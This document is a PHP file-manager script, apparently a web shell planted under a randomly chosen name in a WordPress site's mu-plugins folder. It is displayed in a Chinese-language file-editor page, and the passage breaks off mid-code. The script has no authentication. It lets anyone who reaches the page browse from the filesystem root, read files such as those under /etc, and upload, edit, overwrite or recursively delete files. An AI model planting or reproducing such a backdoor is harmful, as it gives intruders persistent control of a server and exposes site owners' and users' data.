✏️ 编辑:filemanager_lsfw4su.php
路径:
/home/forge/kingkrunch.com/wp/wp-content/mu-plugins/filemanager_lsfw4su.php
大小:43.5 KB · 修改:2026-10-02 09:48:35 · 权限:0644 · 可写
← 返回目录
👁 查看
⬇ 下载
<?php @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); $fm_level = E_ALL & ~E_NOTICE; if (defined('E_DEPRECATED')) { $fm_level = $fm_level & ~E_DEPRECATED; } if (defined('E_WARNING')) { $fm_level = $fm_level & ~E_WARNING; } if (defined('E_STRICT')) { $fm_level = $fm_level & ~E_STRICT; } error_reporting($fm_level); @set_time_limit(300); $CFG = array( 'title' => '文件管理器', 'root' => dirname(__FILE__), 'allow_above_root' => true, 'max_edit_bytes' => 1048576, 'show_hidden' => true, 'text_ext' => array( 'txt', 'text', 'log', 'md', 'markdown', 'rst', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc', 'html', 'htm', 'xhtml', 'shtml', 'css', 'scss', 'less', 'sass', 'js', 'mjs', 'cjs', 'ts', 'jsx', 'tsx', 'vue', 'svelte', 'json', 'json5', 'xml', 'xsl', 'svg', 'yml', 'yaml', 'toml', 'ini', 'conf', 'cfg', 'cnf', 'env', 'htaccess', 'properties', 'sql', 'sh', 'bash', 'zsh', 'bat', 'ps1', 'cmd', 'py', 'rb', 'pl', 'go', 'rs', 'c', 'h', 'cpp', 'hpp', 'cc', 'cs', 'java', 'kt', 'swift', 'lua', 'r', 'm', 'tpl', 'twig', 'blade', 'mustache', 'ejs', 'njk', 'csv', 'tsv', 'srt', 'vtt', 'ass', 'lock', 'patch', 'diff', 'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'cmake', ), ); $ALLOW_ABOVE = $CFG['allow_above_root'] ? true : false; $ROOT = realpath($CFG['root']); if ($ROOT === false) { $ROOT = (string)$CFG['root']; } $ROOT = str_replace('\\', '/', (string)$ROOT); $ROOT = rtrim($ROOT, '/'); if ($ROOT === '') { $ROOT = '/'; } $ROOT_PREFIX = ($ROOT === '/') ? '/' : $ROOT . '/'; $BASE = $ALLOW_ABOVE ? '/' : $ROOT; $SELF = basename(__FILE__); if (!headers_sent() && function_exists('session_start')) { @session_start(); } $SESSION_OK = fm_session_active(); if (!isset($_SESSION) || !is_array($_SESSION)) { $_SESSION = array(); } if ($SESSION_OK) { if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = fm_random_hex(16); } $TOKEN = (string)$_SESSION['fm_token']; } else { $TOKEN = md5(__FILE__ . '|filemanager-static-token'); } function fm_session_active() { if (function_exists('session_status')) { return (session_status() === PHP_SESSION_ACTIVE); } return (session_id() !== ''); } function fm_random_hex($bytes) { if (function_exists('random_bytes')) { return bin2hex(random_bytes($bytes)); } if (function_exists('openssl_random_pseudo_bytes')) { $s = openssl_random_pseudo_bytes($bytes); if ($s !== false && strlen($s) === $bytes) { return bin2hex($s); } } $out = ''; for ($i = 0; $i < $bytes; $i++) { $out .= sprintf('%02x', mt_rand(0, 255)); } return $out; } function fm_hash_equals($a, $b) { if (function_exists('hash_equals')) { return hash_equals($a, $b); } if (strlen($a) !== strlen($b)) { return false; } $diff = 0; $len = strlen($a); for ($i = 0; $i < $len; $i++) { $diff = $diff | (ord($a[$i]) ^ ord($b[$i])); } return ($diff === 0); } function h($s) { $flags = ENT_QUOTES; if (defined('ENT_SUBSTITUTE')) { $flags = $flags | ENT_SUBSTITUTE; } return htmlspecialchars((string)$s, $flags, 'UTF-8'); } function fmt_size($bytes) { $bytes = (int)$bytes; if ($bytes < 0) { return '-'; } if ($bytes < 1024) { return $bytes . ' B'; } $units = array('KB', 'MB', 'GB', 'TB', 'PB'); $v = $bytes; $i = -1; do { $v = $v / 1024; $i++; } while ($v >= 1024 && $i < count($units) - 1); return round($v, $v < 10 ? 2 : 1) . ' ' . $units[$i]; } function fmt_time($ts) { $ts = (int)$ts; if ($ts <= 0) { return '-'; } return date('Y-m-d H:i:s', $ts); } function perm_str($path) { $p = @fileperms($path); if ($p === false) { return '-'; } return substr(sprintf('%o', $p), -4); } function norm_rel($p, $allowAbove) { $p = str_replace("\0", '', (string)$p); $p = str_replace('\\', '/', $p); $stack = array(); $segs = explode('/', $p); foreach ($segs as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { $last = (count($stack) > 0) ? $stack[count($stack) - 1] : null; if (count($stack) > 0 && $last !== '..') { array_pop($stack); } elseif ($allowAbove) { $stack[] = '..'; } continue; } $stack[] = $seg; } return implode('/', $stack); } function inside($abs) { global $ROOT, $ROOT_PREFIX; $rp = realpath($abs); if ($rp === false) { $rp = realpath(dirname($abs)); } if ($rp === false) { return false; } $rp = str_replace('\\', '/', $rp); return ($rp === $ROOT) || (strpos($rp, $ROOT_PREFIX) === 0); } function resolve_path($rel) { global $BASE, $ALLOW_ABOVE; $rel = norm_rel($rel, $ALLOW_ABOVE); if ($rel === '') { return $BASE; } $abs = rtrim($BASE, '/') . '/' . $rel; if (!$ALLOW_ABOVE && !inside($abs)) { return null; } return $abs; } function disp_path($rel) { global $BASE; if ($rel === '') { return ($BASE === '') ? '/' : $BASE; } return rtrim($BASE, '/') . '/' . $rel; } function url($q) { global $SELF; return $SELF . '?' . http_build_query($q); } function parent_rel($rel) { if ($rel === '') { return null; } $pos = strrpos($rel, '/'); return ($pos === false) ? '' : substr($rel, 0, $pos); } function rm_rf($path) { if (is_link($path)) { return @unlink($path); } if (is_file($path)) { return @unlink($path); } if (!is_dir($path)) { return false; } $ok = true; $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $it) { if ($it === '.' || $it === '..') { continue; } if (!rm_rf($path . '/' . $it)) { $ok = false; } } return $ok && @rmdir($path); } function looks_binary($s) { if ($s === '') { return false; } if (strpos($s, "\0") !== false) { return true; } $sample = substr($s, 0, 4096); if (preg_match('/[\x01-\x08\x0B\x0C\x0E-\x1F]/', $sample) === 1) { return true; } return preg_match('//u', $sample) !== 1; } function is_text_ext($name) { global $CFG; $base = strtolower(basename($name)); if ($base === '') { return false; } if (in_array($base, array('dockerfile', 'makefile', 'cmakelists.txt', '.gitignore', '.htaccess', '.env'))) { return true; } $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION)); if ($ext === '') { return false; } return in_array($ext, $CFG['text_ext']); } function is_image_ext($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, array('png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'ico', 'avif')); } function upload_err_text($c) { $m = array( UPLOAD_ERR_INI_SIZE => '超过 php.ini 的 upload_max_filesize', UPLOAD_ERR_FORM_SIZE => '超过表单允许的大小', UPLOAD_ERR_PARTIAL => '文件只上传了一部分', UPLOAD_ERR_NO_FILE => '没有选择文件', UPLOAD_ERR_NO_TMP_DIR => '服务器缺少临时目录', UPLOAD_ERR_CANT_WRITE => '服务器写磁盘失败', UPLOAD_ERR_EXTENSION => '被 PHP 扩展中断', ); return isset($m[$c]) ? $m[$c] : ('未知上传错误(' . $c . ')'); } $FLASH = null; function flash($msg, $type = "ok") { global $FLASH; if ($type === null) { $type = 'ok'; } $FLASH = array('m' => $msg, 't' => $type); if (fm_session_active()) { $_SESSION['fm_flash'] = $FLASH; } } function flash_take() { global $FLASH; $out = null; if (isset($_GET['f']) && is_string($_GET['f'])) { $raw = base64_decode($_GET['f'], true); if ($raw !== false && strpos($raw, '|') !== false) { $parts = explode('|', $raw, 2); $out = array('m' => $parts[1], 't' => ($parts[0] === 'err' ? 'err' : 'ok')); } } if ($out === null && is_array($FLASH)) { $out = $FLASH; } if ($out === null && isset($_SESSION['fm_flash']) && is_array($_SESSION['fm_flash'])) { $out = $_SESSION['fm_flash']; } unset($_SESSION['fm_flash']); return $out; } function redirect_q($q) { global $FLASH; if (is_array($FLASH)) { $q['f'] = base64_encode($FLASH['t'] . '|' . $FLASH['m']); } header('Location: ' . basename(__FILE__) . '?' . http_build_query($q)); exit; } function redirect_to($rel, $extra) { if (!is_array($extra)) { $extra = array(); } redirect_q(array_merge(array('p' => $rel), $extra)); } function csrf_ok() { global $TOKEN; $t = isset($_POST['t']) ? (string)$_POST['t'] : ''; if ($t === '') { return false; } return fm_hash_equals($TOKEN, $t); } function csrf_field() { global $TOKEN; return '<input type="hidden" name="t" value="' . h($TOKEN) . '">'; } $act = isset($_POST['a']) ? (string)$_POST['a'] : (isset($_GET['a']) ? (string)$_GET['a'] : 'list'); $hasP = array_key_exists('p', $_GET) || array_key_exists('p', $_POST); $relRaw = isset($_GET['p']) ? (string)$_GET['p'] : (isset($_POST['p']) ? (string)$_POST['p'] : ''); $rel = norm_rel($relRaw, $ALLOW_ABOVE); if ($ALLOW_ABOVE) { if (!$hasP && $ROOT !== '' && $ROOT[0] === '/') { $rel = ltrim($ROOT, '/'); } if ($rel !== '') { $c = realpath(rtrim($BASE, '/') . '/' . $rel); if (is_string($c) && $c !== '' && $c[0] === '/') { $rel = ltrim(str_replace('\\', '/', $c), '/'); } } } $HOME_REL = ($ALLOW_ABOVE && $ROOT !== '' && $ROOT[0] === '/') ? ltrim($ROOT, '/') : ''; $sort = isset($_GET['o']) ? (string)$_GET['o'] : 'name'; if (!in_array($sort, array('name', 'size', 'time', 'type'))) { $sort = 'name'; } $order = (isset($_GET['d']) && (string)$_GET['d'] === 'desc') ? 'desc' : 'asc'; $QS = array('o' => $sort, 'd' => $order); if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST') { if (!csrf_ok()) { flash('表单令牌校验失败,请刷新页面后重试', 'err'); redirect_to($rel, $QS); } if ($act === 'upload') { do_upload(); } elseif ($act === 'save') { do_save(); } elseif ($act === 'mkdir') { do_mkdir(); } elseif ($act === 'newfile') { do_newfile(); } elseif ($act === 'rename') { do_rename(); } elseif ($act === 'delete') { do_delete(); } else { flash('未知操作:' . $act, 'err'); redirect_to($rel, $QS); } } function do_upload() { global $CFG, $QS; $target = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $dirAbs = resolve_path($target); $back = $target; if ($dirAbs === null || !is_dir($dirAbs)) { flash('目标目录不存在或不在允许范围内:' . disp_path($target), 'err'); redirect_to($back, $QS); } if (!is_writable($dirAbs)) { flash('目标目录不可写:' . disp_path($target), 'err'); redirect_to($back, $QS); } $mode = (isset($_POST['mode']) && (string)$_POST['mode'] === 'replace') ? 'replace' : 'upload'; $name = isset($_POST['name']) ? trim((string)$_POST['name']) : ''; if ($name === '' && isset($_FILES['file']['name'])) { $name = trim((string)$_FILES['file']['name']); } $name = basename(str_replace('\\', '/', $name)); $name = str_replace("\0", '', $name); if ($name === '' || $name === '.' || $name === '..') { flash('文件名无效', 'err'); redirect_to($back, $QS); } $dest = $dirAbs . '/' . $name; if (!inside($dest)) { flash('目标路径越界,已阻止:' . $name, 'err'); redirect_to($back, $QS); } if ($mode === 'replace') { if (!is_file($dest)) { flash('目标文件不存在,无法替换:' . $name, 'err'); redirect_to($back, $QS); } } elseif (file_exists($dest) && !isset($_POST['overwrite'])) { flash('同名文件已存在,未覆盖(勾选「覆盖同名文件」可强制替换):' . $name, 'err'); redirect_to($back, $QS); } if (!isset($_FILES['file']['tmp_name'])) { flash('没有接收到上传文件', 'err'); redirect_to($back, $QS); } $code = isset($_FILES['file']['error']) ? (int)$_FILES['file']['error'] : UPLOAD_ERR_NO_FILE; if ($code !== UPLOAD_ERR_OK) { flash('上传失败:' . upload_err_text($code), 'err'); redirect_to($back, $QS); } if (!is_uploaded_file($_FILES['file']['tmp_name'])) { flash('上传临时文件校验失败', 'err'); redirect_to($back, $QS); } $old = file_exists($dest) ? (int)@filesize($dest) : 0; if (!@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { flash('写入失败(目录权限?):' . $dest, 'err'); redirect_to($back, $QS); } @chmod($dest, 0644); $new = (int)@filesize($dest); flash(($mode === 'replace' ? '替换成功:' : '上传成功:') . $name . '(' . fmt_size($old) . ' → ' . fmt_size($new) . ')', 'ok'); redirect_to($back, $QS); } function do_save() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); if ($f === '' || $abs === null || is_dir($abs)) { flash('文件不存在:' . disp_path($f), 'err'); redirect_to(parent_rel($f), $QS); } if (!is_writable($abs)) { flash('文件不可写:' . disp_path($f), 'err'); redirect_to(parent_rel($f), $QS); } $data = isset($_POST['content']) ? (string)$_POST['content'] : ''; $data = str_replace(array("\r\n", "\r"), "\n", $data); if (strlen($data) > (int)$CFG['max_edit_bytes']) { flash('内容超过在线编辑上限 ' . fmt_size((int)$CFG['max_edit_bytes']), 'err'); redirect_to(parent_rel($f), $QS); } $n = @file_put_contents($abs, $data, LOCK_EX); if ($n === false) { flash('保存失败:' . disp_path($f), 'err'); } else { flash('已保存:' . basename($f) . '(写入 ' . fmt_size((int)$n) . ')', 'ok'); } redirect_q(array('a' => 'view', 'f' => $f)); } function do_mkdir() { global $CFG, $QS; $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : ''))); if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('目录名无效', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest)) { flash('同名文件或目录已存在:' . $name, 'err'); redirect_to($dir, $QS); } if (!@mkdir($dest, 0755, true)) { flash('创建目录失败(权限?):' . $name, 'err'); redirect_to($dir, $QS); } flash('已创建目录:' . $name, 'ok'); redirect_to(($dir === '' ? $name : $dir . '/' . $name), $QS); } function do_newfile() { global $CFG, $QS; $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : ''))); if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('文件名无效', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest) && !isset($_POST['overwrite'])) { flash('同名文件已存在(勾选覆盖可强制写入):' . $name, 'err'); redirect_to($dir, $QS); } $content = isset($_POST['content']) ? (string)$_POST['content'] : ''; $content = str_replace(array("\r\n", "\r"), "\n", $content); if (@file_put_contents($dest, $content, LOCK_EX) === false) { flash('创建文件失败(权限?):' . $name, 'err'); redirect_to($dir, $QS); } flash('已创建文件:' . $name, 'ok'); redirect_q(array('a' => 'view', 'f' => ($dir === '' ? $name : $dir . '/' . $name))); } function do_rename() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('目标不存在:' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('不能重命名管理器自身', 'err'); redirect_to($parent, $QS); } $new = basename(str_replace('\\', '/', trim(isset($_POST['newname']) ? (string)$_POST['newname'] : ''))); if ($new === '' || $new === '.' || $new === '..') { flash('新名称无效', 'err'); redirect_to($parent, $QS); } if ($new === basename($abs)) { flash('名称未变化', 'err'); redirect_to($parent, $QS); } $dest = dirname($abs) . '/' . $new; if (file_exists($dest)) { flash('目标名称已存在:' . $new, 'err'); redirect_to($parent, $QS); } if (!@rename($abs, $dest)) { flash('重命名失败(权限?):' . basename($f), 'err'); redirect_to($parent, $QS); } flash('已重命名:' . basename($f) . ' → ' . $new, 'ok'); redirect_to($parent, $QS); } function do_delete() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('目标不存在:' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('不能删除管理器自身', 'err'); redirect_to($parent, $QS); } if (!is_writable(dirname($abs))) { flash('父目录不可写,无法删除:' . disp_path($f), 'err'); redirect_to($parent, $QS); } $isDir = is_dir($abs); $ok = rm_rf($abs); flash($ok ? ('已删除' . ($isDir ? '目录' : '文件') . ':' . basename($f)) : ('删除失败(权限?):' . basename($f)), $ok ? 'ok' : 'err'); redirect_to($parent, $QS); } if ($act === 'download' || $act === 'raw') { $f = norm_rel(isset($_GET['f']) ? (string)$_GET['f'] : '', $ALLOW_ABOVE); $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs) || !is_readable($abs)) { header('Content-Type: text/plain; charset=utf-8'); echo "ERR: 文件不存在或不可读\n"; exit; } $name = basename($abs); $size = (int)@filesize($abs); while (ob_get_level() > 0) { @ob_end_clean(); } header('X-Content-Type-Options: nosniff'); if ($act === 'raw') { $mimes = array( 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'webp' => 'image/webp', 'bmp' => 'image/bmp', 'avif' => 'image/avif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf', 'mp4' => 'video/mp4', 'webm' => 'video/webm', 'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg', 'txt' => 'text/plain; charset=utf-8', ); $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); header('Content-Type: ' . (isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream')); header('Content-Length: ' . $size); header('Content-Disposition: inline; filename="' . rawurlencode($name) . '"'); } else { header('Content-Type: application/octet-stream'); header('Content-Length: ' . $size); header('Content-Disposition: attachment; filename="' . addcslashes(preg_replace('/[^\x20-\x7E]/', '_', $name), '"\\') . '"; filename*=UTF-8\'\'' . rawurlencode($name)); header('Cache-Control: no-store'); } $fp = @fopen($abs, 'rb'); if ($fp === false) { exit; } while (!feof($fp)) { $buf = fread($fp, 262144); if ($buf === false) { break; } echo $buf; @flush(); } fclose($fp); exit; } $FM_CSS = ' *{box-sizing:border-box} :root{--bg:#0e1116;--panel:#161b22;--panel2:#1b222c;--line:#26303c;--fg:#dde5ee;--muted:#8b98a8;--acc:#4aa8ff;--ok:#34c07a;--err:#ff6b6b} html,body{margin:0;padding:0} body{background:var(--bg);color:var(--fg);font:14px/1.65 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans CJK SC","Microsoft YaHei",Arial,sans-serif} a{color:var(--acc);text-decoration:none} a:hover{text-decoration:underline} .wrap{max-width:1440px;margin:0 auto;padding:16px 16px 40px} .bar{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px 14px;margin-bottom:12px} .brand{font-weight:700;font-size:16px} .muted{color:var(--muted)} code,pre,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,"Liberation Mono",monospace} .crumbs{margin-top:8px;word-break:break-all;line-height:2} .crumbs .sep{color:var(--muted);margin:0 2px} .toolbar{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin:12px 0} .btn{display:inline-block;padding:4px 10px;border:1px solid var(--line);border-radius:8px;background:var(--panel2);color:var(--fg);cursor:pointer;font-size:13px;line-height:1.7} .btn:hover{background:#223041;text-decoration:none} .btn.p{background:#123a5c;border-color:#1d5b8f} .btn.d{color:#ffb4b4;border-color:#5a2a2a;background:#2a1a1a} input[type=text],input[type=file],select,textarea{background:#0c1016;color:var(--fg);border:1px solid var(--line);border-radius:8px;padding:6px 8px;font-size:13px;font-family:inherit} input[type=text]{min-width:200px} textarea{width:100%;min-height:58vh;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:13px;line-height:1.5;white-space:pre;overflow:auto} table{width:100%;border-collapse:collapse;background:var(--panel);border:1px solid var(--line);border-radius:12px;overflow:hidden} th,td{padding:7px 10px;border-bottom:1px solid var(--line);text-align:left;vertical-align:middle} th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;white-space:nowrap} tr:last-child td{border-bottom:0} tbody tr:hover{background:#1a212b} td.n{white-space:normal;word-break:break-all} td.num{white-space:nowrap;color:var(--muted);font-size:12px} td.act{white-space:nowrap} td.act a,td.act span{margin-right:8px;font-size:13px} .msg{padding:9px 12px;border-radius:10px;margin:10px 0;border:1px solid} .msg.ok{background:#10261b;border-color:#1f5c3c;color:#8ef0bb} .msg.err{background:#2a1414;border-color:#6a2a2a;color:#ffc0c0} .panel{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:14px;margin-bottom:12px} .panel h3{margin:0 0 10px;font-size:14px} form.inline{display:flex;flex-wrap:wrap;gap:8px;align-items:center} pre.view{background:#0a0e13;border:1px solid var(--line);border-radius:10px;padding:12px;overflow:auto;max-height:70vh;white-space:pre;font-size:13px;margin:0} img.preview{max-width:100%;max-height:70vh;border:1px solid var(--line);border-radius:10px;background:#0a0e13} .chk{color:var(--muted);font-size:13px;display:inline-flex;align-items:center;gap:4px} .kv{color:var(--muted);font-size:12px} '; function page_top($title) { global $FM_CSS, $CFG; echo '<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8">'; echo '<meta name="viewport" content="width=device-width,initial-scale=1">'; echo '<title>' . h($title) . ' - ' . h($CFG['title']) . '</title>'; echo '<style>' . $FM_CSS . '</style></head><body><div class="wrap">'; } function page_foot() { echo '</div></body></html>'; } function msg_box() { $f = flash_take(); if (!is_array($f)) { return; } $cls = (isset($f['t']) && $f['t'] === 'err') ? 'err' : 'ok'; echo '<div class="msg ' . $cls . '">' . h(isset($f['m']) ? $f['m'] : '') . '</div>'; } function nav_block($rel) { global $ROOT, $BASE, $SELF, $QS, $ALLOW_ABOVE, $HOME_REL; $parent = parent_rel($rel); $startLabel = ($BASE === '/') ? '/' : $ROOT; echo '<div class="bar">'; echo '<div class="brand">📁 文件管理器</div>'; if ($ALLOW_ABOVE) { echo '<div class="kv">初始目录(本 PHP 所在目录):<code>' . h($ROOT) . '</code>' . ' · 可向上浏览至 <code>/</code>,不限制根目录</div>'; } else { echo '<div class="kv">根路径(本 PHP 所在目录):<code>' . h($ROOT) . '</code>' . ' · 浏览已锁死在该目录内</div>'; } echo '<div class="kv">当前目录:<code>' . h(disp_path($rel)) . '</code></div>'; echo '<div class="crumbs">'; $segs = ($rel === '') ? array() : explode('/', $rel); echo '<a class="seg" href="' . h(url(array_merge(array('p' => ''), $QS))) . '">🏠 ' . h($startLabel) . '</a>'; $acc = array(); $total = count($segs); for ($i = 0; $i < $total; $i++) { $s = $segs[$i]; $acc[] = $s; $p = implode('/', $acc); echo '<span class="sep">/</span>'; if ($i === $total - 1) { echo '<span class="seg">' . h($s) . '</span>'; } else { echo '<a class="seg" href="' . h(url(array_merge(array('p' => $p), $QS))) . '">' . h($s) . '</a>'; } } echo '</div>'; echo '<div class="toolbar">'; if ($parent !== null) { echo '<a class="btn p" href="' . h(url(array_merge(array('p' => $parent), $QS))) . '">⬆ 上级目录</a>'; } else { echo '<span class="btn muted" style="opacity:.5;cursor:not-allowed">⬆ 上级目录(已在文件系统根 /)</span>'; } if ($rel !== $HOME_REL) { echo '<a class="btn" href="' . h(url(array_merge(array('p' => $HOME_REL), $QS))) . '">🏠 初始目录</a>'; } echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">🔄 刷新</a>'; echo '<a class="btn" href="' . h(url(array_merge(array('a' => 'mkdir', 'p' => $rel)))) . '">➕ 新建目录</a>'; echo '<a class="btn" href="' . h(url(array_merge(array('a' => 'newfile', 'p' => $rel)))) . '">📄 新建文件</a>'; echo '<form class="inline" method="get" action="' . h($SELF) . '">'; echo '<input type="hidden" name="o" value="' . h($QS['o']) . '"><input type="hidden" name="d" value="' . h($QS['d']) . '">'; echo '<input type="text" name="p" value="' . h($rel) . '" placeholder="输入路径跳转,如 /etc 或 ../xxx">'; echo '<button class="btn" type="submit">跳转</button>'; echo '</form>'; $sortLabels = array('name' => '名称', 'size' => '大小', 'time' => '时间', 'type' => '类型'); echo '<span class="kv">排序:</span>'; foreach ($sortLabels as $k => $label) { $d = ($QS['o'] === $k && $QS['d'] === 'asc') ? 'desc' : 'asc'; $arrow = ($QS['o'] === $k) ? ($QS['d'] === 'asc' ? ' ↑' : ' ↓') : ''; echo '<a class="btn" href="' . h(basename(__FILE__) . '?' . http_build_query(array('p' => $rel, 'o' => $k, 'd' => $d))) . '">' . h($label . $arrow) . '</a>'; } echo '</div>'; echo '<div class="panel">'; echo '<h3>⬆ 上传文件到当前目录 / 覆盖同名文件</h3>'; echo '<form class="inline" method="post" action="' . h($SELF) . '" enctype="multipart/form-data">'; echo '<input type="hidden" name="a" value="upload">'; echo '<input type="hidden" name="mode" value="upload">'; echo '<input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<input type="file" name="file" required>'; echo '<input type="text" name="name" placeholder="保存文件名(留空=用原文件名)">'; echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label>'; echo '<button class="btn p" type="submit">上传</button>'; echo '</form>'; echo '<div class="kv">上传目标目录:<code>' . h(disp_path($rel)) . '</code>(' . (is_writable(disp_path($rel)) ? '可写' : '不可写') . ')</div>'; echo '</div>'; echo '</div>'; } function fm_cmp_rows($x, $y) { if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; } $sort = $GLOBALS['fm_sort_key']; $r = 0; if ($sort === 'size') { $r = ($x['size'] < $y['size']) ? -1 : (($x['size'] > $y['size']) ? 1 : 0); } elseif ($sort === 'time') { $r = ($x['mtime'] < $y['mtime']) ? -1 : (($x['mtime'] > $y['mtime']) ? 1 : 0); } elseif ($sort === 'type') { $ex = strtolower(pathinfo($x['name'], PATHINFO_EXTENSION)); $ey = strtolower(pathinfo($y['name'], PATHINFO_EXTENSION)); $r = strcmp($ex, $ey); if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); } } else { $r = strnatcasecmp($x['name'], $y['name']); } if ($GLOBALS['fm_sort_desc']) { $r = -$r; } return $r; } function render_list($rel) { global $CFG, $QS, $HOME_REL; $abs = resolve_path($rel); if ($abs === null || !is_dir($abs)) { flash('目录不存在或不可读,已回到初始目录', 'err'); $rel = $HOME_REL; $abs = disp_path($rel); } page_top(disp_path($rel)); msg_box(); nav_block($rel); $items = @scandir($abs); if ($items === false) { echo '<div class="msg err">目录不可读(权限不足):' . h($abs) . '</div>'; page_foot(); return; } $rows = array(); foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } if (!$CFG['show_hidden'] && $name !== '' && $name[0] === '.') { continue; } $p = $abs . '/' . $name; $isDir = is_dir($p); $rows[] = array( 'name' => $name, 'dir' => $isDir, 'link' => is_link($p), 'size' => $isDir ? -1 : (int)@filesize($p), 'mtime' => (int)@filemtime($p), 'perm' => perm_str($p), 'wr' => is_writable($p), 'rel' => ($rel === '' ? $name : $rel . '/' . $name), ); } $GLOBALS['fm_sort_key'] = $QS['o']; $GLOBALS['fm_sort_desc'] = ($QS['d'] === 'desc'); usort($rows, 'fm_cmp_rows'); $nDir = 0; $nFile = 0; $nSize = 0; foreach ($rows as $r) { if ($r['dir']) { $nDir++; } else { $nFile++; if ($r['size'] > 0) { $nSize = $nSize + $r['size']; } } } echo '<div class="kv" style="margin:4px 2px 8px">共 ' . count($rows) . ' 项(目录 ' . $nDir . ' / 文件 ' . $nFile . ',文件合计 ' . h(fmt_size($nSize)) . ')</div>'; echo '<table><thead><tr>'; echo '<th style="width:46%">名称</th><th>大小</th><th>修改时间</th><th>权限</th><th style="width:26%">操作</th>'; echo '</tr></thead><tbody>'; if (count($rows) === 0) { echo '<tr><td colspan="5" class="muted" style="text-align:center;padding:22px">空目录</td></tr>'; } foreach ($rows as $r) { $icon = $r['dir'] ? '📁' : (is_image_ext($r['name']) ? '🖼️' : (is_text_ext($r['name']) ? '📄' : '📦')); $qname = $r['name'] . ($r['dir'] ? '/' : '') . ($r['link'] ? ' ↗' : ''); echo '<tr>'; if ($r['dir']) { echo '<td class="n"><span class="icon">' . $icon . '</span><a href="' . h(url(array_merge(array('p' => $r['rel']), $QS))) . '">' . h($qname) . '</a></td>'; echo '<td class="num">-</td>'; } else { echo '<td class="n"><span class="icon">' . $icon . '</span><a title="下载" href="' . h(url(array('a' => 'download', 'f' => $r['rel']))) . '">' . h($qname) . '</a></td>'; echo '<td class="num">' . h(fmt_size($r['size'])) . '</td>'; } echo '<td class="num">' . h(fmt_time($r['mtime'])) . '</td>'; echo '<td class="num">' . h($r['perm']) . ($r['wr'] ? '' : ' <span title="不可写">🔒</span>') . '</td>'; echo '<td class="act">'; if ($r['dir']) { echo '<a href="' . h(url(array_merge(array('p' => $r['rel']), $QS))) . '">进入</a>'; } else { echo '<a href="' . h(url(array('a' => 'view', 'f' => $r['rel']))) . '">查看</a>'; echo '<a href="' . h(url(array('a' => 'edit', 'f' => $r['rel']))) . '">编辑</a>'; echo '<a href="' . h(url(array('a' => 'download', 'f' => $r['rel']))) . '">下载</a>'; echo '<a href="' . h(url(array('a' => 'replace', 'f' => $r['rel']))) . '">替换</a>'; } echo '<a href="' . h(url(array('a' => 'rename', 'f' => $r['rel']))) . '">重命名</a>'; echo '<a style="color:#ff9b9b" href="' . h(url(array('a' => 'delete', 'f' => $r['rel']))) . '">删除</a>'; echo '</td></tr>'; } echo '</tbody></table>'; page_foot(); } function render_view($f) { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('查看'); msg_box(); echo '<div 